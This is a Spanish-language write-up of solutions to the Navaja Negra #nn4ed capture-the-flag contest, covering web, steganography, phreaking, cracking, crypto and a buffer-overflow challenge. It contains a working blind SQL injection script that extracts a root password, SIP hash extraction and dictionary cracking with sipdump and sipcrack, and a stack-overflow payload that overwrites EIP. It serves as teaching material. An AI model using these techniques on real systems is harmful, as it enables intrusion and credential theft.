Solución (casi completa) al CTF de la #nn4ed

download Solución (casi completa) al CTF de la #nn4ed

of 24

Embed Size (px)

Transcript of Solución (casi completa) al CTF de la #nn4ed

  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    1/24

    Solucionario para el CTF de #nn4ed

    Vte. Javier Garca Mayn

    [email protected]

    mailto:[email protected]:[email protected]
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    2/24

  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    3/24

    Tabla de contenido

    Prueba web 1 (categora: web) .................................................................................................................... 5Prueba web 2 (categora: web) .................................................................................................................... 7

    Prueba stg 1 (categora: stego) ....................................................... ............................................................ 10

    Prueba phk 1 (categora: phreaking) .......................................................................................................... 11

    Prueba phk 2 (categora: phreaking) .......................................................................................................... 13

    Prueba crk 1 (categora: cracking) .............................................................................................................. 14

    Solucin de CRP2 (categora cripto) ............................................................................. .............................. 16

    Prueba extra (categora: varios) ................................................................................................................. 18

  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    4/24

  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    5/24

    5

    Prueba web 1 (categora: web)

    URL:http://ctf.navajanegra.com/game.php?n=1

    Comenzando que es gerundio; accedemos al enlace page de la imagen anterior, que nos lleva a

    http://ctf.navajanegra.com/WEB%201.php,y que tiene el siguiente aspecto:

    Si tratamos de acercarnos al botn ste se desplaza, impidiendo pulsarlo; sin embargo, podemos

    utilizar javascript y la consola de firebug1para, aunque sea por cabezotas, conseguir pulsar el botn:

    Lo que hace que aparezca la siguiente ventana emergente:

    1https://addons.mozilla.org/es/firefox/addon/firebug/

    http://ctf.navajanegra.com/game.php?n=1http://ctf.navajanegra.com/game.php?n=1http://ctf.navajanegra.com/game.php?n=1http://ctf.navajanegra.com/WEB%201.phphttps://addons.mozilla.org/es/firefox/addon/firebug/https://addons.mozilla.org/es/firefox/addon/firebug/https://addons.mozilla.org/es/firefox/addon/firebug/https://addons.mozilla.org/es/firefox/addon/firebug/http://ctf.navajanegra.com/WEB%201.phphttp://ctf.navajanegra.com/game.php?n=1
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    6/24

    6

    Una vez cerrada la ventana se nos redirige a la pgina principal de Navaja Negra; vamos, va muerta.

    Despus de varias vueltas al cdigo fuente de la pgina, el cual slo contiene una funcin en javascript,

    fun(), encargada de marearnos con el botn, se me ocurri utilizar el comando wgetdesde Linux para

    obtener el contenido y ver si este difera en algo, encontrando all, ahora s, la contrasea del nivel.

    El siguiente script en Python permite obtener el mismo resultado que lanzar el comando wget:

    #! /usr/bin/python# -*- coding: utf-8 -*-"""web1.py (v0.1)

    Created: 2014-09-28

    Copyright (c) 2010: Vte J. Garcia Mayen Copyright (c) 2010: Neo System Forensics http://neosysforensics.es

    This program is free software; you can redistribute it and/or modify it

    under the terms of the GNU General Public License as published by theFree Software Foundation; either version 2 of the License, or (at youroption) any later version. See http://www.gnu.org/copyleft/gpl.html forthe full text of the license."""importrequestsimportbs4

    defmain():""" Main Function """

    url = "http://ctf.navajanegra.com/WEB%201.php"headers = {'User-Agent':'Wget/1.13.4 (linux-gnu)'}

    print'-----------------------------------------------------'

    print'- #nn4ed CTF - Level: web1 (unclassified) -'print'-----------------------------------------------------'print'[*] Guetting WEB 1.php content...'req = requests.get(url, headers=headers)print'[*] Done!'print'[*] Analyzing the retrieved content...'soup = bs4.BeautifulSoup(req.text)print'[*] Done!'print'-----------------------------------------------------'forstring insoup.strings:

    if"Password"instring:printstring.replace('\n', '')

    if__name__ == "__main__":main()

    La salida de su ejecucin sera:

    C:\nn4ed>python web1.py------------------------------------------------------ #nn4ed CTF - Level: web1 (unclassified) ------------------------------------------------------[*] Guetting WEB 1.php content...[*] Done![*] Analyzing the retrieved content...[*] Done!

    -----------------------------------------------------Password: 6e3e92ebfcec506d0cc56f24a929ac11

  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    7/24

    7

    Prueba web 2 (categora: web)

    URL:http://ctf.navajanegra.com/game.php?n=12

    Continuamos para bingo; en este caso, y tal como nos indica el enunciado de la prueba, es necesario

    aprovechar una inyeccin SQL en el formulario al que accedemos mediante el enlace Server, y que

    apunta ahttp://ctf.navajanegra.com/web2.php

    Despus de varios intentos detecto la cadena que permite la inyeccin en el campo user del

    formulario, or 1=1, que obtiene como resultado una ventana emergente indicndonos que el usuario

    rootes correcto, pero no as la contrasea proporcionada:

    Si por el contrario probamos con una sentencia SQL cuyo resultado no es verdadero, or 1=2 por

    ejemplo, no obtenemos ninguna respuesta:

    http://ctf.navajanegra.com/game.php?n=12http://ctf.navajanegra.com/game.php?n=12http://ctf.navajanegra.com/game.php?n=12http://ctf.navajanegra.com/web2.phphttp://ctf.navajanegra.com/web2.phphttp://ctf.navajanegra.com/web2.phphttp://ctf.navajanegra.com/web2.phphttp://ctf.navajanegra.com/game.php?n=12
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    8/24

    8

    As que tiene toda la pinta de ser una inyeccin SQL a ciegas, es decir, no obtenemos directamente los

    valores buscados, en este caso la pass de root, directamente desde la pgina pero si podemos inferir

    estos valores haciendo las consultas adecuadas y atendiendo al resultado obtenido:

    un alert si el resultado de la consulta es verdadero;

    nada en el caso de que el resultado sea falso.

    Para automatizar el proceso de averiguarla pass del usario utilizo el siguiente script:

    #! /usr/bin/python# -*- coding: utf-8 -*-"""web2_02.py (v0.2)

    Created: 2014-09-28

    Copyright (c) 2010: Vte J. Garcia Mayen Copyright (c) 2010: Neo System Forensics http://neosysforensics.es

    This program is free software; you can redistribute it and/or modify itunder the terms of the GNU General Public License as published by theFree Software Foundation; either version 2 of the License, or (at youroption) any later version. See http://www.gnu.org/copyleft/gpl.html forthe full text of the license."""importrequestsimportsys

    defmake_query(query, okmsg):""" Function doc """

    payload = {'u': query, 'p': ''}req = requests.get("http://ctf.navajanegra.com/web2.php", params=payload)

    ifokmsg inreq.text:returnTrue

    else:returnFalse

    defguess_password_length():""" Function doc """

    okmsg = "User root correct but bad Password!"

    length = 1query = "root' and length(pass) > '%d"% lengthwhilemake_query(query, okmsg):

    sys.stdout.write('%s\r'% length)

    length = length + 1query = "root' and length(pass) > '%d"% length

    sys.stdout.write(" "* len(str(length)) + "\r")returnlength

    defguess_character(position, okmsg):""" Function doc """

    query = "root' and ascii(substring(pass,%s,1)) & '%s' = '%s"bit = [128, 64, 32, 16, 8, 4, 2, 1]

    byte = 0forvalue inbit:

    qry = query % (str(position), str(value), str(value))ifmake_query(qry, okmsg):

    byte += value

  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    9/24

    9

    returnbyte

    defguess_password(length):""" Function doc """

    okmsg = "User root correct but bad Password!"index = 0

    password = ""whilelen(password) != length:

    index += 1byte = guess_character(index, okmsg)password += chr(byte)sys.stdout.write('%s\r'% password)

    sys.stdout.write(" "* length + "\r")

    returnpassword

    defmain():

    """ Main function """

    print'---------------------------------------------------'print'- #nn4ed CTF - Level: web2 (Blind SQL Injection) -'print'---------------------------------------------------'print'[*] Guessing password length...'length = guess_password_length()print'[*] Password length guessed!'print'[*] Guessing password...'password = guess_password(length)print'[*] Password guessed!'print'---------------------------------------------------'print'Password: %s'% password

    if__name__ == "__main__":

    main()

    El script implementa una bsqueda binaria para obtener el resultado con el menor nmero posible de

    consultas sql. El script lo desarroll en su momento para solucionar una prueba del wargame Narnia , y

    slo he tenido que adaptarlo para esta ocasin. La explicacin y el script original estn en:

    Jugando s se aprende (advierto, nivel bsico)

    http://neosysforensics.blogspot.com.es/2013/01/jugando-si-se-aprende-advierto-nivel.html

    El resultado obtenido al ejecutarlo para solucionar la prueba:

    C:\nn4ed>python web2_v2.py---------------------------------------------------- #nn4ed CTF - Level: web2 (Blind SQL Injection) ----------------------------------------------------[*] Guessing password length...[*] Password length guessed![*] Guessing password...[*] Password guessed!---------------------------------------------------Password: 78a2109f8519940bb553

    http://neosysforensics.blogspot.com.es/2013/01/jugando-si-se-aprende-advierto-nivel.htmlhttp://neosysforensics.blogspot.com.es/2013/01/jugando-si-se-aprende-advierto-nivel.htmlhttp://neosysforensics.blogspot.com.es/2013/01/jugando-si-se-aprende-advierto-nivel.html
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    10/24

    10

    Prueba stg 1 (categora: stego)

    URL:http://ctf.navajanegra.com/game.php?n=8

    La prueba nos indica que tenemos que trabajar con la imagen, y para eso, primero necesitamos la

    imagen! No basta con hacer clic con el botn derecho del ratn y darle a Guardar imagen, ya que est

    incluida como fondo mediante el siguiente cdigo CSS:

    El enlace para descargarla sera pueshttp://ctf.navajanegra.com/STG1.jpg

    Una vez descargada, si la abrimos con un editor hexadecimal podemos ver al final lo que parece una

    cadena en base64:

    http://ctf.navajanegra.com/game.php?n=8http://ctf.navajanegra.com/game.php?n=8http://ctf.navajanegra.com/game.php?n=8http://ctf.navajanegra.com/STG1.jpghttp://ctf.navajanegra.com/STG1.jpghttp://ctf.navajanegra.com/STG1.jpghttp://ctf.navajanegra.com/STG1.jpghttp://ctf.navajanegra.com/game.php?n=8
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    11/24

    11

    Utilizando el intrprete de Python podemos descodificarla para obtener finalmente el flag del nivel:

    C:\nn4ed>pythonPython 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] onwin32Type "help", "copyright", "credits" or "license" for more information.

    >>> import base64>>> cadena ="TXkgc2VjcmV0IGNvZGU6IDFlZjFkODM0NzMzMWFmYjc1YjgyMjgxOWZkNGU2ZDNiIA==">>> base64.b64decode(cadena)'My secret code: 1ef1d8347331afb75b822819fd4e6d3b '>>>

    Prueba phk 1 (categora: phreaking)

    URL:http://ctf.navajanegra.com/game.php?n=3

    Vale, tenemos un audio donde una locucin indica al usuario que introduzca su nmero de tarjeta de

    crdito y a continuacin los tonos correspondientes a los nmeros de la misma.

    Se me ocurre que lo mejor es cortar la locucin y quedarme slo con la parte que me interesa as que,

    utilizando audacity2primero abro el fichero mp3 y divido la pista en los dos canales que componen el

    formato estreo:

    para eliminar uno de ellos y quedarme con el audio en formato mono.

    2http://audacity.sourceforge.net/?lang=es

    http://ctf.navajanegra.com/game.php?n=3http://ctf.navajanegra.com/game.php?n=3http://ctf.navajanegra.com/game.php?n=3http://audacity.sourceforge.net/?lang=eshttp://audacity.sourceforge.net/?lang=eshttp://audacity.sourceforge.net/?lang=eshttp://audacity.sourceforge.net/?lang=eshttp://ctf.navajanegra.com/game.php?n=3
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    12/24

    12

    A continuacin selecciono el bloque que me interesa y lo corto:

    y ya por ltimo creo un nuevo proyecto y lo pego all, para finalmente exportarlo y guardarlo como un

    fichero WAV.

    Vale, ya tenemos el audio con los nmero de la tarjeta de crdito, pero ahora hay que interpretarlo, y

    como no tenemos a mano el wasap de John Draper3

    pues tiramos de aplicacin online, que haberlashaylas. Concretamente yo he utilizado esta:http://dialabc.com/sound/detect/index.html

    Solucin: 5461765425671065

    3http://es.wikipedia.org/wiki/John_Draper

    http://dialabc.com/sound/detect/index.htmlhttp://dialabc.com/sound/detect/index.htmlhttp://dialabc.com/sound/detect/index.htmlhttp://es.wikipedia.org/wiki/John_Draperhttp://es.wikipedia.org/wiki/John_Draperhttp://es.wikipedia.org/wiki/John_Draperhttp://es.wikipedia.org/wiki/John_Draperhttp://dialabc.com/sound/detect/index.html
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    13/24

    13

    Prueba phk 2 (categora: phreaking)

    URL:http://ctf.navajanegra.com/game.php?n=11

    La pgina de la prueba nos permite descargar una captura, SipPHK2.pcapng, del trfico SIP producido

    durante el proceso de registro de un dispositivo en un servidor SIP.

    Utilizando las herramientas de la suite sipcrack podemos extraer el hash md5 solicitado por el

    servidor al dispositivo para, posteriormente y mediante un ataque de diccionario, obtener la contrasea

    en texto claro. Lo primero, extraer los paquetes correspondientes al proceso de login utilizandosipdump:

    # sipdump -p SipPHK2.pcapng auth.txt

    SIPdump 0.2 ( MaJoMu | www.codito.de )---------------------------------------

    * Using pcap file 'SipPHK2.pcapng' for sniffing* Starting to sniff with packet filter 'tcp or udp'

    * Dumped login from 77.72.169.129 -> 10.0.61.100 (User: 'nn4ed')

    * Exiting, sniffed 1 logins

    y ahora, utilizando el famoso diccionario rockyou.txt incluido con cualquier distribucin para

    pentesting que se precie lanzamos el ataque mediante la herramienta sipcrack:

    # sipcrack -w rockyou.txt auth.txt

    SIPcrack 0.2 ( MaJoMu | www.codito.de )----------------------------------------

    * Found Accounts:

    Num Server Client User Hash|Password

    1 10.0.61.100 77.72.169.129 nn4ed 3c58ee4488a90ad08d67a24b4c2c9beb* Select which entry to crack (1 - 1): 1

    http://ctf.navajanegra.com/game.php?n=11http://ctf.navajanegra.com/game.php?n=11http://ctf.navajanegra.com/game.php?n=11http://ctf.navajanegra.com/game.php?n=11
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    14/24

    14

    * Generating static MD5 hash... 14ac1cae34f4c3f9b7471887f1a24a8e* Loaded wordlist: 'rockyou.txt'* Starting bruteforce against user 'nn4ed' (MD5:'3c58ee4488a90ad08d67a24b4c2c9beb')* Tried 168183 passwords in 0 seconds

    * Found password: 'passw'* Updating dump file 'auth.txt'... done

    Solucin: 3c58ee4488a90ad08d67a24b4c2c9beb:passw

    Prueba crk 1 (categora: cracking)

    URL:http://ctf.navajanegra.com/game.php?n=5

    Una vez descargado el fichero CrackMe1.zipsi extraemos su contenido obtenemos un ejecutable de

    Windows, CrackMe1.exe, que una vez ejecutado, no sin un poco de miedo, muestra lo siguiente:

    Difcil va a ser adivinar los valores correctos por inspiracin divina, as que mejor primero analizamos el

    ejecutable con PEiD a ver qu tenemos:

    http://ctf.navajanegra.com/game.php?n=5http://ctf.navajanegra.com/game.php?n=5http://ctf.navajanegra.com/game.php?n=5http://ctf.navajanegra.com/game.php?n=5
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    15/24

    15

    Parece que el ejecutable ha sido empaquetado utilizando UPX4 para dificultar su anlisis, as que

    primero lo desempaquetamos:

    y una vez correctamente desempaquetado volvemos a analizarlo a ver que tenemos ahora:

    Esto ya es otra cosa! Tenemos un ejecutable en Visual Basic y se me ocurre probar primero lo ms

    simple, o lo que es lo mismo, ver las stringsque contiene el ejecutable a ver si suena la flauta. Esto

    anterior traducido a OllyDbg5sera:

    4http://upx.sourceforge.net/

    5http://www.ollydbg.de/

    http://upx.sourceforge.net/http://upx.sourceforge.net/http://upx.sourceforge.net/http://www.ollydbg.de/http://www.ollydbg.de/http://www.ollydbg.de/http://www.ollydbg.de/http://upx.sourceforge.net/
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    16/24

    16

    Entre todas las strings incluidas en el ejecutable me llaman la atencin las dos siguientes:

    Como probar es gratis las utilizo como valores de autenticacin en el ejecutable , Albacete como

    usuario y ...N....N como contrasea,y mira t por donde que suena la flauta:

    Para obtener el cdigo que permite pasar el nivel necesitamos el hash md5 correspondiente a la

    contrasea obtenida, as que nuevamente usando el intrprete de Python:

    C:\nn4ed>pythonPython 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] onwin32Type "help", "copyright", "credits" or "license" for more information.>>> import hashlib>>> m = hashlib.md5()>>> m.update("...N....N")>>> print m.hexdigest()0047c0baeb5faccc8a71319c72fa6af2>>>

    Prueba crp 2 (categora crypto)

    URL:http://ctf.navajanegra.com/game.php?n=10

    Copio la cadena hexadecimal incluida entre comillas dobles como valor de la variable MSG directamente

    en un nuevo proyecto dentro de la herramienta CrypTool6para empezar a analizarla (@Kachakil

    7dixit).

    Me aseguro primero de haber definido correctamente las opciones de la aplicacin para los procesos de

    anlisis, dejando los valores tal como se muestra en la siguiente imagen:

    6https://www.cryptool.org/en/

    7https://twitter.com/Kachakil

    http://ctf.navajanegra.com/game.php?n=10http://ctf.navajanegra.com/game.php?n=10http://ctf.navajanegra.com/game.php?n=10https://www.cryptool.org/en/https://www.cryptool.org/en/https://www.cryptool.org/en/https://twitter.com/Kachakilhttps://twitter.com/Kachakilhttps://twitter.com/Kachakilhttps://twitter.com/Kachakilhttps://www.cryptool.org/en/http://ctf.navajanegra.com/game.php?n=10
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    17/24

    17

    Ahora s, men Anlisis, Herramientas para el anlisis, Histograma:

    El resultado anterior nos muestra la frecuencia de aparicin para cada carcter, y por la forma de

    agruparse tiene toda la pinta de tratarse de una cadena ASCII cifrada utilizando algn tipo de cifrado

    simtrico.

    Otro matiz interesante es que el valor hexadecimal ms pequeo es el 40. En una cadena ASCII el valor

    ms pequeo y que resulta ms probable es el espacio en blanco, que se corresponde con el cdigo 40

    en hexadecimal.

    Vamos a probar a descifrar el texto utilizando la tcnica de suma de bytes, as que men

    Cifrar/Descifrar, Simtrico (clsico), Suma de Bytes y vamos a utilizar como valor la diferencia entre el

    carcter hexadecimal ms pequeo en la cadena cifrada y su valor correspondiente ms probable, el

    espacio en blanco o lo que es lo mismo el cdigo hexadecimal 40:

  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    18/24

    18

    Pulsando el botn descifrar obtenemos el texto en claro con la solucin de la prueba:

    Secret code: a3fa85f73d5565db577095d283ef7651

    Prueba extra (categora: varios)

    URL:http://ctf.navajanegra.com/game.php?n=13

    http://ctf.navajanegra.com/game.php?n=13http://ctf.navajanegra.com/game.php?n=13http://ctf.navajanegra.com/game.php?n=13http://ctf.navajanegra.com/game.php?n=13
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    19/24

    19

    Parece que hay varios caminos para solucionar la prueba, pero ya puedo darme con un canto en los

    dientes de haber encontrado al menos uno de ellos.

    Pulsando sobre la imagen del gato pirata nos lleva a http://ctf.navajanegra.com/extra.php donde

    comienza realmente la prueba, y podemos leer el siguiente texto:

    Si algo sabemos es que somos 007, otra cosa es donde indicrselo a la pgina; unas cuantas vueltas, dos

    cervezas y varios cabezazos despus se me ocurre probar modificando la el header User-Agentde la

    peticin http, utilizando para ello la herramienta OWASP ZAP8:

    Misin cumplida, o al menos obtenidas las instrucciones de la misin, ya que la pgina nos devuelve

    ahora el siguiente contenido:

    As que una vez descargado el cdigo QR y utilizandohttp://blog.qr4.nl/Online-QR-Code_Decoder.aspx

    obtenemos el cdigo md5 correspondiente: f3807a187fce8cd0d901726ee33331bc.

    Tirando nuevamente de servicios online, ahora desde http://www.md5cracker.org/, obtenemos la

    cadena correspondiente al hash md5 obtenida en el paso anterior, y que es BUDA (sin las comillas).

    8https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

    http://ctf.navajanegra.com/extra.phphttp://ctf.navajanegra.com/extra.phphttp://blog.qr4.nl/Online-QR-Code_Decoder.aspxhttp://blog.qr4.nl/Online-QR-Code_Decoder.aspxhttp://blog.qr4.nl/Online-QR-Code_Decoder.aspxhttp://www.md5cracker.org/http://www.md5cracker.org/https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Projecthttps://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Projecthttps://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Projecthttps://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Projecthttp://www.md5cracker.org/http://blog.qr4.nl/Online-QR-Code_Decoder.aspxhttp://ctf.navajanegra.com/extra.php
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    20/24

    20

    El paso siguiente sera comunicar dicha palabra a la pgina de la prueba, as que varios cabezazos, que

    no cervezas, despus, se me ocurre mandar la siguiente peticin:

    El mtodo POST est asociado normalmente al envo de datos a travs de un formulario, de ah la

    cabecera Content-Type: application/x-www-form-urlencoded y el valor, con formato

    variable=valor, ira en el cuerpo de la peticin. La cabecera Content-Length correspondera a la

    longitud de la cadena incluida en el cuerpo del POST.

    Sea como fuere vemos que todava no hemos terminado, ya que recibimos el siguiente contenido:

    Unas cuantas vueltas despus decidimos que adivinos no somos, y aunque tampoco somos exploiters no

    nos quedan ms huevos que intentarlo por esa va, as que descargamos el fichero BoF1.ovadesde el

    siguiente enlacehttp://ctf.navajanegra.com/extra.php?guru=buda,donde al visitarlo se nos dan algunas

    instrucciones ms, todo ello sin olvidar quin somos, o lo que es lo mismo, mandando en la cabecera de

    la peticin el User-Agent: 007 tal como hemos hecho hasta ahora :

    Y las nuevas instrucciones justo con el enlace para la descarga desde Mega:

    Descarga:https://mega.co.nz/#!wEFFUSyI!IygGuqaNn5KijDlC5WW3XM3yX_T6sdyvwjBfOd0nizE

    Una vez descargada la mquina virtual en formato ova9 podemos importarla, por ejemplo desde

    VirtualBox10

    , para tener disponible la mquina virtual y poder seguir as con la resolucin de la prueba (o

    pegndonos ms cabezazos, segn se mire o segn quin mire).

    9http://es.wikipedia.org/wiki/Open_Virtualization_Format

    http://ctf.navajanegra.com/extra.php?guru=budahttp://ctf.navajanegra.com/extra.php?guru=budahttp://ctf.navajanegra.com/extra.php?guru=budahttps://mega.co.nz/#!wEFFUSyI!IygGuqaNn5KijDlC5WW3XM3yX_T6sdyvwjBfOd0nizEhttps://mega.co.nz/#!wEFFUSyI!IygGuqaNn5KijDlC5WW3XM3yX_T6sdyvwjBfOd0nizEhttps://mega.co.nz/#!wEFFUSyI!IygGuqaNn5KijDlC5WW3XM3yX_T6sdyvwjBfOd0nizEhttp://es.wikipedia.org/wiki/Open_Virtualization_Formathttp://es.wikipedia.org/wiki/Open_Virtualization_Formathttp://es.wikipedia.org/wiki/Open_Virtualization_Formathttp://es.wikipedia.org/wiki/Open_Virtualization_Formathttps://mega.co.nz/#!wEFFUSyI!IygGuqaNn5KijDlC5WW3XM3yX_T6sdyvwjBfOd0nizEhttp://ctf.navajanegra.com/extra.php?guru=buda
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    21/24

    21

    Una vez finalizado el proceso de importacin arrancaremos la nueva mquina virtual y seguiremos con

    la fiesta, que si no lo es por el alcohol, si al menos por las horas en las que transcurra:

    Como soy un chico bueno, y la falta de sueo ya haca mella, me centr en la consecucin de la prueba

    siguiendo los cauces indicados y dej la curiosidad para otros momentos ms idneos, as que utilizando

    las credenciales proporcionadas anteriormente, usuario navaja con contrasea negra accedemos al

    sistema y vemos primero que es lo que hay:

    [email protected]:~$ ls -ltotal 12-rwxr-xr-x 1 navaja navaja 7305 Sep 25 18:44 bof1-rw-r--r-- 1 navaja navaja 113 Sep 25 18:14 readme.txt

    [email protected]:~$ cat readme.txt

    10https://www.virtualbox.org/

    https://www.virtualbox.org/https://www.virtualbox.org/https://www.virtualbox.org/https://www.virtualbox.org/
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    22/24

    22

    Encuentra la contrasea del archivo /home/navaja/bof1, desbordando lapila, para obtener la clave del nivel :)

    Probamos a ejecutar la aplicacin para ver de qu va esto:

    [email protected]:~$ ./bof1Pista: 0x8048474HolaIntroduciste: Hola

    Como se trata de explotar un buffer overflow la cadena introducida debe ser lo suficientemente larga

    como para sobrescribir la direccin de retorno, EIP, y dada la pista tiene toda la pinta que la direccin

    con la que sobrescribir EIP tiene que ser la indicada, es decir, 0x8048474, que como estamos en un

    sistema litle-endian11

    tiene que representarse al revs. Utilizar el siguiente comando de Python, que ya

    estoy harto de que todos los ejemplos se hagan utilizando un lenguaje orientado al ofuscamiento:

    python -c 'print "A" * NUM_A_DETERMINAR + "\x74\x84\x04\x08"' | ./bof1

    Unas cuantas pruebas despus tenemos la solucin de la prueba, que al final no ha sido tan complicada

    como pareca a priori:

    Slo nos queda obtener el hash md5 de la contrasea obtenida para utilizarlo como solucin de la

    prueba, as que de nuevo desde el intrprete de Python:

    C:\Users\jgarcia>pythonPython 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] onwin32Type "help", "copyright", "credits" or "license" for more information.>>> import hashlib>>> m = hashlib.md5()>>> m.update("GNU/Linux")>>> print m.hexdigest()4a58db979d107ca6300f1be1406b3605

    >>>

    Y esto ha sido todo lo que he conseguido. No s si as han sido las cosas, pero s que as las he contado

    11http://es.wikipedia.org/wiki/Endianness

    http://es.wikipedia.org/wiki/Endiannesshttp://es.wikipedia.org/wiki/Endiannesshttp://es.wikipedia.org/wiki/Endiannesshttp://es.wikipedia.org/wiki/Endianness
  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    23/24

  • 8/11/2019 Solucin (casi completa) al CTF de la #nn4ed

    24/24